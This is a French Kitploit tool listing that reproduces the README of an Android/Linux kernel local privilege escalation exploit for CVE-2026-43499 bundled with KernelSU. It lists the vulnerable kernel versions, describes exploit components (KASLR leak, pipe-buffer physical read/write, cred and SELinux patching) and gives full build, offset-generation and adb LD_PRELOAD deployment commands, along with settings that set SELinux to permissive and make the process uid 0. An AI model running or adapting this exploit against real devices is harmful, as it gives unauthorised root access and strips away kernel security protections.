Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-43499-root-KernelSU — Adaptation d'élévation de privilèges locaux basée sur la vulnérabilité noyau CVE-2026-43499, intégrant KernelSU embarqué. Mode jailbreak CVE-2026-43499+KernelSU. | Kitploit
Outils/GitHubGitHub/woshimaniubi8/cve-2026-43499-root-kernelsu
Sécurité AndroidEscalade de PrivilègesExploitationDéveloppement de Charges UtilesExploitation de Binaires
GitHubwoshimaniubi8/cve-2026-43499-root-kernelsu

CVE-2026-43499-root-KernelSU

Adaptation d'élévation de privilèges locaux basée sur la vulnérabilité noyau CVE-2026-43499, intégrant KernelSU embarqué. Mode jailbreak CVE-2026-43499+KernelSU.

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
183il y a 25 joursPas encore vérifié

CVE-2026-43499-root-KernelSU

Adaptation d'élévation de privilèges locaux basée sur la vulnérabilité du noyau CVE-2026-43499, intégrant un KernelSU embarqué. La compilation génère preload.so ; après un déclenchement réussi, KernelSU est démarré en mode late-load (mode jailbreak). Prend en charge la génération de target.h à partir de (xbl_config.img / vendor_boot.img) + boot.img.

Adaptation d'élévation de privilèges locaux basée sur une vulnérabilité du noyau, intégrant un KernelSU embarqué. Compile et génère preload.so ; après une exploitation réussie, KernelSU est démarré en mode late-load (mode jailbreak). Prend en charge la génération de target.h à partir de (xbl_config.img / vendor_boot.img) + boot.img, ou d'une autre manière.

Projets de référence :

  • Linuxoid-cn/CVE-2026-43499-Poc-Analysis
  • x-spy/CVE-2026-43499-popsicle
  • Colorful-glassblock/duchamp-root

[!IMPORTANT] L'exploitation non autorisée de vulnérabilités pour endommager, compromettre ou accéder à des systèmes informatiques est interdite par la loi. Ce projet est fourni strictement à des fins de recherche, d'éducation et d'apprentissage, et ne peut être utilisé que sur des systèmes et dans des environnements pour lesquels une autorisation préalable a été accordée. Toute utilisation de ce projet est effectuée aux risques de l'utilisateur. Les auteurs et contributeurs déclinent toute responsabilité en cas d'utilisation abusive de ce projet ou de tout dommage, perte ou conséquence juridique résultant de son utilisation.

Avertissement : l'exploitation non autorisée de vulnérabilités pour endommager, s'introduire dans ou accéder sans autorisation à des systèmes informatiques peut violer les lois et réglementations applicables. Ce projet est strictement limité à la recherche, à l'étude et aux tests de sécurité sur des systèmes et environnements ayant reçu une autorisation légale. Toute perte directe ou indirecte, responsabilité légale ou autre conséquence résultant de l'utilisation, de l'abus ou de la modification de ce projet est à la charge exclusive de l'utilisateur ; les auteurs et contributeurs du projet n'assument aucune responsabilité.

Versions concernées

Lorsque votre version du noyau est {Linux Kernel}, elle se trouve dans la portée de cette vulnérabilité.

  • Linux Kernel < commit 3bfdc63936dd4773109b7b8c280c0f3b5ae7d349

  • 2.6.39 <= {Linux Kernel} < 6.1.175

  • 6.2 <= {Linux Kernel} < 6.6.140

  • 6.7 <= {Linux Kernel} < 6.12.86

  • 6.13 <= {Linux Kernel} < 6.18.27

  • 6.19 <= {Linux Kernel} < 7.0.4

État actuel

TargetStatut
rodin (défaut)Vérifié
Autres src/targets/*Référence

Structure du répertoire

root@kitploit:~
.
├── Makefile
├── build/
│   └── embed/
│       └── ksud                 # 被嵌入 preload.so 的 KernelSU userspace binary
├── tools/
│   ├── generate_target.py       # 本仓库统一 target.h 生成入口
│   └── vendor/                  # 从父目录同步的原始生成辅助脚本
└── src/
    ├── main.c                   # exploit 主流程
    ├── preload.c                # LD_PRELOAD constructor + ksud 写出/启动
    ├── root.c                   # cred/seccomp/SELinux/root patch
    ├── slide.c                  # pselect KASLR slide leak
    ├── fops.c                   # pselect/FOPS route
    ├── pipe.c                   # pipe-buffer phys R/W primitive
    ├── ksud_blob.S              # .incbin build/embed/ksud
    ├── kernelsnitch/            # KernelSnitch helpers
    └── targets/
        ├── rodin/
        ├── beryl/
        └── ...

Construction

Dépendances

  • Linux host
  • Android NDK
    • Chemin par défaut : ~/android-ndk-r29
    • Ou définissez : ANDROID_NDK_HOME / ANDROID_NDK_ROOT / NDK_ROOT
  • make
  • git

Compilation

root@kitploit:~
make PROJECT=<target> -j$(nproc)

Sortie :

root@kitploit:~
build/<target>/bin/preload.so

Voir les targets disponibles

root@kitploit:~
make list-projects

Génération de target.h

Ce dépôt intègre déjà un script unifié de génération de target :

root@kitploit:~
tools/generate_target.py
tools/vendor/generate_target.py
tools/vendor/generate_target_2.py
tools/vendor/detect_offset.py

tools/generate_target.py est le script d'entrée. Il s'inspire et encapsule tous les processus de génération de target du répertoire parent, et produit finalement un src/targets/<project>/target.h complet adapté au code source de ce dépôt.

Le script ne valide pas de manière obligatoire CONFIG_DEBUG_INFO_BTF=y dans IKCONFIG. Si les décalages des champs de structure ou la disposition percpu entry_task ne peuvent pas être validés, il affiche un avertissement et poursuit la génération.

Si l'image ne contient aucun BTF exploitable, par exemple si le message suivant apparaît :

root@kitploit:~
有效 vmlinux BTF 候选不唯一: []

Le générateur passe alors en fallback sans BTF :

  • Il continue de récupérer les décalages des symboles de fonctions/objets globaux à partir des kallsyms du boot.img actuel ;
  • Les macros de champs de structure/layout qui ne peuvent pas être récupérées depuis BTF héritent de la target template, dont le template par défaut est rodin ;
  • Un avertissement est écrit en haut du header généré, indiquant without BTF et le template utilisé ;
  • Ce type de header garantit une compilabilité aussi bonne que possible, mais sa fiabilité à l'exécution doit être validée sur du matériel réel.

Vous pouvez spécifier un template de fallback :

root@kitploit:~
tools/generate_target.py --project <project> --boot boot.img --profile profile.json --template-target rodin
# 或
TARGET_TEMPLATE=rodin tools/generate_target.py --project <project> --boot boot.img --profile profile.json

1. Génération avec boot.img + profile JSON

root@kitploit:~
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json

Écrit par défaut dans :

root@kitploit:~
src/targets/<project>/target.h

Vous pouvez également appeler directement le script :

root@kitploit:~
tools/generate_target.py --project <project> --boot /path/to/boot.img --profile /path/to/profile.json

profile.json doit contenir les informations d'adresses physiques, par exemple :

root@kitploit:~
{
  "p0_phys_offset": "0x40000000",
  "p0_kernel_phys_load": "0x40000000"
}

2. Détection du profile depuis un appareil ADB rooté

Générer uniquement le profile :

root@kitploit:~
make detect-profile PROFILE_OUT=profile.json

Détecter le profile et générer immédiatement la target :

root@kitploit:~
tools/generate_target.py --project <project> --boot /path/to/boot.img \
  --detect-adb-and-generate --profile-out profile.json

3. Génération avec (xbl_config.img / vendor_boot.img) + boot.img

Le script expose également les autres points d'entrée pris en charge par le générateur du répertoire parent :

root@kitploit:~
tools/generate_target.py --project <project> --boot boot.img --xbl-config xbl_config.img

tools/generate_target.py --project <project> --boot boot.img --mtk-vendor-boot vendor_boot.img

tools/generate_target.py --project <project> --boot boot.img --mtk-partitions /path/to/partitions
Exemple
root@kitploit:~
make generate-target PROJECT=rodin BOOT=../rodin/boot_a PROFILE=../profile.json
make generate-target PROJECT=beryl BOOT=../beryl/boot.img PROFILE=../profile.json

Exemple de sortie en cas de succès :

root@kitploit:~
生成成功: .../src/targets/<project>/target.h
kernel SHA-256: <sha256>
target macros: 168

rodin conserve par défaut la valeur validée sur matériel réel :

root@kitploit:~
#define MM_STRUCT_SZ 0x500

Pour la remplacer :

root@kitploit:~
tools/generate_target.py --project rodin --boot boot.img --profile profile.json --mm-struct-sz 0x...

Ajouter une nouvelle target

Il est recommandé de générer à partir d'une image boot et d'un profile correspondants :

root@kitploit:~
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
make PROJECT=<project> -j$(nproc)

Un header de target complet contient :

  • constantes direct map / profil physique
  • décalages d'objets KASLR slide
  • décalages task / cred / SELinux
  • décalages pipe / fops / configfs
  • valeurs de layout pselect, par exemple PSELECT_WAITER_WORD_SHIFT
  • MM_STRUCT_SZ et valeurs de réglage KernelSnitch

Exécution

Le code source actuel contient déjà des valeurs par défaut ; pour une exécution normale, il suffit de définir LD_PRELOAD et d'exécuter n'importe quel programme (par exemple toybox id).

root@kitploit:~
adb push build/rodin/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 755 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'

Paramètres d'exécution par défaut

Les paramètres par défaut actuels sont les suivants :

La ligne de commande ksud réellement exécutée par défaut est :

root@kitploit:~
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu

Ces variables d'environnement peuvent toujours être remplacées à l'exécution, par exemple :

root@kitploit:~
adb shell 'KSUD_PACKAGE=com.example.manager LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'

Réutiliser le ksud déjà écrit :

root@kitploit:~
adb shell 'KSUD_SKIP_WRITE=1 LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'

Nettoyage

root@kitploit:~
make clean

make clean conserve build/embed/ksud, car src/ksud_blob.S l'intègre de la manière suivante :

root@kitploit:~
.incbin "build/embed/ksud"

Si un nettoyage manuel entraîne la perte de build/embed/ksud, vous pouvez le restaurer :

root@kitploit:~
git checkout -- build/embed/ksud

Problèmes courants

.incbin "build/embed/ksud" introuvable

Après avoir restauré le payload intégré, reconstruisez :

root@kitploit:~
git checkout -- build/embed/ksud
make PROJECT=rodin -j$(nproc)

La route FOPS renvoie success=0

rodin attend un layout pselect legacy/simple :

root@kitploit:~
pselect fdset simple layout shift=0
pselect returned attempt=1 ret=9 ... success=1

Si l'état de l'appareil a été pollué par des tentatives échouées, redémarrez puis réessayez :

root@kitploit:~
adb reboot

F_SETPIPE_SZ renvoie EPERM

Il s'agit généralement d'un problème d'état provoqué par des tentatives échouées/résiduelles ; le redémarrage est le moyen de nettoyage le plus rapide :

root@kitploit:~
adb reboot

ksud démarre mais /proc/modules ne contient pas KernelSU

Consultez les journaux :

root@kitploit:~
adb shell 'cat /data/local/tmp/ksud.log /data/local/tmp/ksud.preload.log 2>/dev/null || true'

Si nécessaire, exécutez manuellement dans un shell root :

root@kitploit:~
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu

Licence

GPL-3.0. Voir LICENSE.

Télécharger l’outil
ParamètreValeur par défautDescription
KSUD_LATE_LOAD1Exécute ksud late-load
KSUD_ALLOW_SHELL1Passe --allow-shell
KSUD_PACKAGEme.weishu.kernelsuNom du paquet du gestionnaire transmis à ksud (semble sans effet)
KSUD_DST/data/local/tmp/ksudChemin d'écriture du ksud intégré
KSUD_SKIP_WRITE0Écrit le ksud intégré par défaut
KSUD_DEFER_TO_PARENT1Démarre ksud à partir du chemin du processus parent/actuel déjà patché
ROOT_PATCH_SELF1Patch le processus actuel pour qu'il soit uid 0
DISABLE_SELINUX1Lors du patch root, définit SELinux enforcing en permissive
ROOT_EXIT_SLEEPunset / 0N'ajoute pas de sleep supplémentaire avant de retourner